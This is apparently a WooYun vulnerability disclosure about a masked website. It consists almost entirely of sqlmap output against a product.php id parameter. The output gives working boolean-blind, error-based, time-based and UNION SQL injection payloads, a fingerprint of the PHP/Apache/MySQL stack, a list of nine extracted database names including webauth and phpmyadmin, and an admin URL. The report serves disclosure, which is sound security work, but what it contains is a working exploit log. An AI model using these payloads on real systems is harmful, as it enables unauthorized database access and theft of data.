WooYun.org

https://**.**.**.**/product.php?id=1

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 9995=9995 AND 'LXRb'='LXRb
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1' AND (SELECT 1556 FROM(SELECT COUNT(*),CONCAT(0x71706a6a71,(SELECT (ELT(1556=1556,1))),0x716b6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'rvJX'='rvJX
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))ILSs) AND 'ePKR'='ePKR
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71706a6a71,0x5a46575464665a796352,0x716b6a7a71),NULL,NULL,NULL,NULL,NULL,NULL-- 
---
[17:36:20] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[17:36:20] [INFO] fetching database names
[17:36:20] [WARNING] reflective value(s) found and filtering out
[17:36:20] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[17:36:21] [WARNING] the SQL query provided does not return any output
[17:36:21] [INFO] the SQL query used returns 9 entries
[17:36:21] [INFO] resumed: information_schema
[17:36:21] [INFO] resumed: cdcol
[17:36:21] [INFO] resumed: esun
[17:36:21] [INFO] resumed: esun2
[17:36:21] [INFO] resumed: mysql
[17:36:21] [INFO] resumed: performance_schema
[17:36:21] [INFO] resumed: phpmyadmin
[17:36:21] [INFO] resumed: test
[17:36:21] [INFO] resumed: webauth
available databases [9]:
[*] cdcol
[*] esun
[*] esun2
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth

https://**.**.**.**/admin/